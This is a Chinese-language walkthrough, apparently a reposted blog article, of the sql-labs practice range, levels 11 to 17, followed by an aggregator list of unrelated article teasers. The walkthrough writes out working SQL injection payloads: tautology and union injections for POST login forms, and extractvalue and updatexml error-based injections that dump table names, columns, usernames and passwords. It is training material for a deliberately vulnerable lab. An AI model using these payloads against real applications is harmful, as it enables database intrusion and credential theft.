【靶场实操】sql-labs通关详解----第二节:前端页面相关(Less-11-Less-17)

news2024/11/13 16:40:48

        SQL注入攻击是一种针对Web应用程序的安全漏洞,那么自然,SQL注入攻击也和前端页面息息相关,用户输入未被正确处理、动态查询的构建、前端JavaScript代码错误,等等我问题都可能造成安全威胁。

在上一节,我们了解了基础的SQL注入模式,他们大多都从地址导航栏入手,直接向查询语句中注入攻击语句。本章我们来看和前端页面相关的一些SQL注入攻击。

1.Less-11
1.1 页面分析

来到第十一关,我们可以看到,这一关与前十关有很大区别,页面有了一个输入框,提示我们输入用户名和密码。

顺其自然我们想到,注入点就在输入框里。前十关用到的都是get请求,参数都体现在url上面,而这一关开始是post请求,参数在表单里面。我们可以直接在输入框里面进行注入。

1.2 尝试注入


我们尝试输入1,页面报错,再尝试输入1‘,页面显示报错原因

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' and password='' LIMIT 0,1' at line 1

这说明,我们如果想查询某个用户的信息,并且用户ID为1,就需要隔断后面的部分。

知道了SQL语句,我们就可以构造一个恒成立的SQL语句,看查询出的是什么。这里我们需要把--+换成#来进行注释,意思是一样的,后续就和之前一样了,使用联合注入获取数据库信息。


不同点主要在于:将注释符从 --+换成 #

2.Less-12

来到第十二关,我们输入1和1‘没有反应,当我们输入1"的时候出现报错信息,我们从报错信息知道SQL语句是双引号且有括号。

​​​​​​​

那么我们就可以构造相应的SQL注入语句了。

1") or 1=1 #
1") union select 1,2 #


3.Less-13、14、15、16

第十三关与第十二关类似,只需要将双引号换成单引号。

第十四关与第十一关类似,只需要将单引号换成双引号。

第十五关和第十一关一样,只是不产生报错信息,对此我们可以使用布尔盲注。

第十六关和第十二关一样,需要使用布尔盲注。

4.Less-17(报错注入)

现在我们来到第十七关,根据页面来看,这是一个密码重置页面,也就是说我们已经登入系统了,可以执行修改操作。


根据源代码,SQL语句会对输入的账户名进行检测,对输入的特殊字符进行转义,我们能利用的只有更新密码的SQL语句。

4.1 extractvalue报错注入

这里我们需要用到extractvalue报错注入,extractvalue 是一个XQuery函数,用于从XML文档中提取特定值。格式为extractvalue(XML_document,XPath_string)。

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) 

作用:从XML_document中提取符合XPATH_string的值,当我们XPath_string语法报错时候就会报错

了解了extractvalue的原理后,我们就可以开始注入了。和前面类似,首先我们来进行数据库版本爆破

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#

成功得到了数据库版本为5.7.26,接下来我们再来爆数据库。

1' and (extractvalue(1,concat(0x5c,database(),0x5c)))# 

又成功得到了数据库名,接下来,爆表名

1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#

爆字段名。

1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#

爆字段内容

1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 

​​​​​​​当我们提交时,发现页面报错,报错显示我们不能查询和更新同一张表。

针对此问题,我们需要加一个中间表。本关只需要我们输入正确账号,所以爆出的是该账户的原始密码。只要查询时不是users表就不会报错。

1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))# 

 

成功得到密码,爆破成功。

对于这两条语句:

  • 目标用户:第一个示例尝试获取users表中所有用户的用户名和密码,而第二个示例只针对特定用户admin1
  • 查询结构:第一个示例使用group_concat来合并所有用户的用户名和密码,第二个示例使用子查询来获取特定用户的密码。
4.2 updatexml报错注入

对于本关,我们还可以采用updatexml报错注入,updatexml 是MySQL数据库中的一个函数,它允许你使用XPath表达式和XML数据进行交互。然而,如果不正确使用,updatexml 也可能成为SQL注入攻击的漏洞。SQL注入攻击者可能会利用这个函数来尝试访问或修改数据库中的XML数据。

格式为UPDATEXML (XML_document, XPath_string, new_value)。第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc;第二个参数:XPath_string (Xpath格式的字符串) ;第三个参数:new_value,String格式,替换查找到的符合条件的数据

作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值。当我们XPath_string语法报错时候就会报错,updatexml()报错注入和extractvalue()报错注入基本差不多

123' and (updatexml(1,concat(0x5c,version(),0x5c),1))#     爆版本
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))#    爆数据库
 
123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))#      爆表名
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#
   爆字段名
 
123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#
爆密码该格式针对mysql数据库。
爆其他表就可以,下面是爆emails表
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#
 
1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#   爆字段内容。

剩下的与extractvalue类似,也是要注意查询和修改不能为同一表的问题,但是可以爆破其他表

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1974295.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

23届24届均可投!Engineering Star Program火热进行中

Hi 大家好,我是Chowley,我们组现在还有个青年工程师的HC(23-24届均可),正在寻找QA队友,有兴趣用我内推码官网投递,简历直接发我ld 我是今年校招进入的虾皮,现在full-time两个月了&a…

互联网十万个为什么之什么是负载均衡?

负载均衡是一种对流量进行按需分发的服务,通过将流量分发到不同的后端服务器来扩展应用系统的吞吐能力,并且可以消除系统中的单点故障,提升应用系统的可用性。 为什么需要负载均衡? 负载均衡的出现主要是为了解决用户在网络服务…

【Godot4自学手册】第四十三用着色器(shader)给纹理描边

这一节我们学一下用着色器(shader)描边效果。来看看最终效果: 一、进行shader初始设置 首先我们进入NPC场景,选择Sprite2D节点,在检查器中中岛CanvasItem属性,并在Material->Material后方选择下拉按钮…

如何从智联招聘网站快速抓取职位详情?两大技巧揭秘

摘要: 本文将揭秘如何利用Python爬虫技术,高效且合法地从智联招聘网站抓取职位详情信息。通过实战示例,展现两大核心技巧,助你在大数据时代抢占先机,为你的市场分析、人才研究提供强大支持。 一、引言:数据…

LLM4Decompile反编译大模型的试用实践过程梳理

LLM4Decompile 是一款开源大型语言模型,专注于反编译工作,我们将其试用过程进行介绍: 论文地址:https://arxiv.org/abs/2403.05286 代码地址:https://github.com/albertan017/LLM4Decompile 首先,找到代码位置: 1.搭建基础环境1.python3,我用的是3.12.4 …

LinuxC++(7):认识主函数参数

主函数有哪些参数? main函数有三个参数,argc、argv和envp,它的标准写法如下: int main(int argc,char *argv[],char *envp[]){return 0; } 认识argc argc表示有几个参数,主函数自身也算一个,所以如果没…

解锁概念测量类比完成任务如何改变词语表征

欢迎来到雲闪世界。本文旨在讨论 word2vec 和 GloVe 算法的发展,因为这与这些算法的第二个应用目的有关:分析文本语料库中包含的概念。首先,根据 word2vec 算法的历史背景对其进行讨论。然后,描述类比完成任务,该任务突…

【C语言篇】操作符详解(上篇)

文章目录 操作符详解(上篇)前言sizeof强制类型转换算术操作符赋值操作符逻辑操作符逻辑取反运算符逻辑与运算符逻辑或运算符 关系操作符自增自减操作符和-逗号表达式 操作符详解(上篇) 前言 操作符又被叫做运算符,是不…

深度学习中降维的几种方法

笔者在搞网络的时候碰到个问题,就是将特征维度从1024降维到268,那么可以通过哪些深度学习方法来实现呢? 文章目录 1. 卷积层降维2. 全连接层降维3. 使用注意力机制4. 使用自编码器 1. 卷积层降维 可以使用1x1卷积层(也叫pointwis…

AI新闻:近期AI领域最繁忙的一周!

本周AI领域发生了许多令人瞩目的大事,可以说是繁忙的一周了。下面我将为大家一一盘点这些精彩瞬间。 OpenAI的新功能和发展 高级语音功能:OpenAI开始推出全新的高级语音功能,之前展示时声音如同斯嘉丽约翰逊。这项功能已经开放给部分用户使用…

鸿蒙双向绑定组件:TextArea、TextInput、Search、Checkbox,文本输入组件,图案解锁组件PatternLock

对象暂不支持双向绑定, 效果: 代码: Entry Component struct MvvmCase {StateisSelect: boolean falseStatesearchText: String ""StateinputText: string ""StateareaText: string ""build() {Grid() {G…

「漏洞复现」百易云资产管理运营系统 comfileup.php 文件上传漏洞(XVE-2024-18154)

0x01 免责声明 请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删…

武汉流星汇聚:亚马逊北美站引领中国跨境潮,全球商机触手可及

在当今全球跨境电商的浪潮中,亚马逊北美站以其独特的区域优势和强大的市场影响力,为中国跨境卖家提供了前所未有的发展机遇。根据最新统计数据显示,60%的中国跨境卖家将亚马逊视为他们海外拓展的首选平台,这一选择背后&#xff0c…

ASPCMS 漏洞

一、后台修改配置文件拿shell 登录后台后如下点击 点击保存并抓包 将slideTextStatus的值修改为1%25><%25Eval(Request(chr(65)))25><%25 放包&#xff08;连接密码是a&#xff09; 影响文件为 /config/AspCms_Config.asp 访问文件,使用工具连接

window10上配置typora图床

window10上配置typora图床 window10picgotypora 教程 picgo设定存储区域 picgo下载地址 安利一款截图贴图软件

Simulink代码生成:数学运算

文章目录 1 引言2 模块使用实例2.1 Math Function模块2.2 Trigonometric Function模块2.3 Abs模块 3 代码生成4 总结 1 引言 Simulink中提供了大量的数学运算模块&#xff0c;对应C语言中<math.h>中用于数学计算的函数&#xff0c;例如幂函数、开平方、三角反三角函数、…

FFmpeg源码:av_gcd函数分析

一、引言 公约数&#xff0c;是一个能同时整除几个整数的数。如果一个整数同时是几个整数的约数&#xff0c;称这个整数为它们的“公约数”&#xff1b;公约数中最大的称为最大公约数。对任意的若干个正整数&#xff0c;1总是它们的公约数。 公约数与公倍数相反&#xff0c;就…

数据科学 - 数据预处理 (数据清洗,结构化数据)

1. 前言 数据清洗与结构化数据在数据分析和机器学习项目中扮演着至关重要的角色。随着大数据时代的到来&#xff0c;数据的质量、准确性和可用性成为决定项目成功与否的关键因素。 数据清洗提高数据质量&#xff0c;保证数据集的一致性&#xff1b;促进数据分析与挖掘&#xf…

剪映课+短视频综合课程:抖音底层算法

课程内容&#xff1a; 01-直播回放精选&#xff1a;2024抖音4_5月新知识.mp4 02-直播回放&#xff1a;核心算法讲解.mp4 03-直播回放&#xff1a;推流人群顺序和赛马依据.mp4 04-直播回放&#xff1a;从0-1kw推流细节.mp4 05-直播回放&#xff1a;抖加投放①.mp4 06-直播回…

调试模式下如何调试看门狗?

大家在调试GD32 MCU系统的时候&#xff0c;若开了看门狗外设&#xff0c;是否会碰到进入调试模式看门狗就会咬狗造成无法调试的问题&#xff1f; 碰到这种情况&#xff0c;一般是将看门狗关闭&#xff0c;然后再进行调试&#xff0c;但这个时候看门狗外设就无法工作了&#xf…